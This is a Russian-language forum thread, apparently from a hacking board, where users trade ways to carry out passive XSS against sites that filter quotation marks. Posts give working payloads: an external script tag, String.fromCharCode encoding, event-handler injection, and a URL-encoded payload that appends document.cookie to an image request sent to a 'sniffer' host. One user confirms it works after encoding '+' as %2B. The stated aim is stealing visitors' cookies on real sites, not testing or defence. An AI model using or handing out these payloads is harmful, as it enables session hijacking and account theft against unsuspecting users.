Скажите - как можно произвести xss, если фильтруются кавычки? Вариант с заменой на одинарные, %22 и на &/#22; , а также перенаправление на мой java-скрипт не предлагать. На серваке magic_quotes=on.
Ну в первых где тут кавычки? <SCRIPT SRC=http://site.com/xss.js></SCRIPT> А во вторых попробуй использовать String.fromCharCode (encoder http://www.paulschou.com/tools/xlate/)
Ковычки могут понадобиться для того чтоб закрыть тег =) Автор поясни какого типа XSS актив пасив мыло форум и т.д
Вариант со внедрением ява-скрипта не подходит, как я и написал выше. Инъекция пассивная, одинарные фильтруются. Нужно внедрить адрес снифера. То, что знаю я - осуществляется через кавычки, поэтому прошу совета.
а просто тыги можешь использовать?... ну например картинку вставить?... HTML: <img src="тут твой код или адрес снифера"> а далее можешь проверить: HTML: <script>alert(document.images[0].src)</script> Как дальше использовать думаю разберешься...
Гм, аналогичная ситуация - пассивный Xss, фильтруется только ", '... Что можно сделать нехорошего без кавычек? Т.е. просто картинку вставить могу - там кавычки не нужны, а вот с запросом О_о...
r=<img%20src=http://antichat.ru/cgi-bin/s.jpg?><script>img%20=%20new%20Image();%20img.src%20=%20document.images[19].src+document.cookie;</script> К примеру не подходит
А, все, доперло - "+" = " "... как от этого избавиться? & нельзя использовать, сразу говорю. В виде "%ХХ" как "+" выглядит? UPD: усе, спасибо, нашел %2B - все работает
вообщето тег закрывается без кавычки т.е. <тег>бла-бла</тег> возможно при ксс использовать OnMouseOver=xxx; BodyOnLoad=; etc...... учи html и JavaScript
Есть сайт в поиск ввожу <script>alert()</script> он все ставит в кавычки "<script>alert()</script>" меняю запрос на "><script>alert()</script> кавычка фильтруется на """